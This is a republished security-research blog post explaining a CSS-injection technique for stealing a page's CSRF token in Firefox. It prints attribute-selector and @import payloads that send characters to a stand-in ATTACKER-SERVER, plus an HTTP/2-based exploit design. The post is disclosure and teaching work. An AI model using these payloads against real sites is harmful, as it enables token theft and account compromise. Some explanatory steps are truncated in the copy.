CSS data exfiltration in Firefox via a single injection point

栏目: IT技术 · 发布时间: 4年前

内容简介:A few months ago I identified a security issue in Firefox known asFor the sake of the examples, we assume that we want to leak CSRF token fromWe cannot use scripts (perhaps because of CSP), so we need to settle for style injection. The classic way is to us

A few months ago I identified a security issue in Firefox known as CVE-2019-17016 . During analysis of the issue, I’ve come up with a new technique of CSS data exfiltration in Firefox via a single injection point which I’m going to share in this blog post.

Basics and prior art

For the sake of the examples, we assume that we want to leak CSRF token from <input> element.

<input type="hidden" name="csrftoken" value="SOME_VALUE">

We cannot use scripts (perhaps because of CSP), so we need to settle for style injection. The classic way is to use attribute selectors, for instance:

input[name='csrftoken'][value^='a'] {
  background: url(//ATTACKER-SERVER/leak/a);
}
 
input[name='csrftoken'][value^='b'] {
  background: url(//ATTACKER-SERVER/leak/b);
}
 
...
 
input[name='csrftoken'][value^='z'] {
  background: url(//ATTACKER-SERVER/leak/z);
}

If the CSS rule is applied, then the attacker gets an HTTP request, leaking the first character of the token. Then, another stylesheet needs to be prepared that includes the first known character, for instance:

input[name='csrftoken'][value^='aa'] {
  background: url(//ATTACKER-SERVER/leak/aa);
}
 
input[name='csrftoken'][value^='ab'] {
  background: url(//ATTACKER-SERVER/leak/ab);
}
 
...
 
input[name='csrftoken'][value^='az'] {
  background: url(//ATTACKER-SERVER/leak/az);
}

It was usually assumed that subsequent stylesheets need to be provided via reloading the page that is loaded in an <iframe> .

In 2018 Pepe Vila had an amazing concept that we can achieve the same in Chrome with a single injection point by abusing CSS recursive imports . The same trick was rediscovered in 2019 by Nathanial Lattimer (aka @d0nutptr ), however with a slight variation . I’ll summarize Lattimer’s approach below because it is closer to what I’ve come up with in Firefox, even though (what’s pretty funny) I wasn’t aware of Lattimer’s research when doing my own one. So one can say that I rediscovered a rediscovery…

In a nutshell, the first injection is a bunch of imports:

@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...

Then the idea is as follows:

@import
@import
ATTACKER-SERVER
ATTACKER-SERVER

The technique works because Chrome processes imports asynchronously, so when any import stops blocking, Chrome immediately parses it and applies it.

Firefox and stylesheet processing

The method from previous paragraph doesn’t work in Firefox at all because of significant differences in processing of stylesheets in comparison to Chrome. I’ll explain the differences on a few simple examples.

First of all, Firefox processes stylesheets synchronously. So when there are multiple imports in a stylesheet, Firefox won’t apply any CSS rules until all of the imports are processed. Consider the following example:

<style>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</style>

Assume that the first @import returns a CSS rule that sets the background of the page to blue while the next imports are blocking (i.e. they never return anything, hanging the HTTP connection). In Chrome, the page would turn blue immediately. In Firefox, nothing happens.

The problem can be circumvented by placing all imports in separate <style> elements:

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>

In the case above, Firefox treats all stylesheets separately, so the page turns blue instantly and the other imports are processed in the background.

But then there’s another problem. Let’s say that we want to steal a token with 10 characters:

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>

Firefox would immediately queue all 10 imports. After processing the first import, Firefox would queue another request with character leak. The problem is that this request is put at the end of the queue and by default the browser has a limit of 6 concurrent connections to a single server. So the request with the leak would never reach the server as there are 6 other blocking connections to the server and we’re going to have a dead-lock.

HTTP/2 to the rescue!

The limit of 6 connections is enforced on TCP layer. So there can be only 6 simultaneous TCP connections to a single server. At this point I had an idea that HTTP/2 could be the solution. If you’re not aware of benefits brought by HTTP/2, one of its main selling points is that you can send multiple HTTP requests over a single connection (known as multiplexing ) which increases the performance greatly.

Firefox has a limit of concurrent requests on a single HTTP/2 connection too but by default it is 100 ( network.http.spdy.default-concurrent in about:config ). If we need more, we can force Firefox to create a second TCP connection by using a different host name. For instance, if I create 100 requests to https://localhost:3000 and 50 requests to https://127.0.0.1:3000 , Firefox would create two TCP connections.

Exploit

Now I have all the building blocks needed to prepare a working exploit. Here’s key assumptions:

  • The exploit code would be served over HTTP/2.
  • Endpoint /polling/:session/:index returns a CSS to leak :index -th character. The request would block unless index-1 characters were already leaked. :session path parameter is used to distinguish various exfiltration attempts.
  • Endpoint /leak/:session/:value is used to leak a token. :value would be the whole value leaked, not just the last character.
  • To force Firefox to make two TCP connections one endpoint would be reached via https://localhost:3000 and the other one via https://127.0.0.1:3000 .
  • Endpoint /generate is used to generate a sample code.

I’ve created a testbed in which the goal is to steal the csrftoken via data exfiltration. You can access it directly here .

CSS data exfiltration in Firefox via a single injection point
Testbed screenshot

I’ve hosted the proof-of-concept on GitHub , and below is a videocast showing that it works:

What’s interesting is that because of HTTP/2 the exploit is blazingly fast; it took less than three seconds to leak the entire token.

Summary

In the article I’ve shown that you can leak data via CSS if you have a single injection point and you don’t want to reload the page. This is possible thanks to two features:

@import

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

MultiCharts Powerlanguage 语法字典

MultiCharts Powerlanguage 语法字典

MultiCharts中国技术顾问团队 / 东方出版社 / 2013-9-1 / 38

MC编程工具书,适用于MC7.4及8.5版本一起来看看 《MultiCharts Powerlanguage 语法字典》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试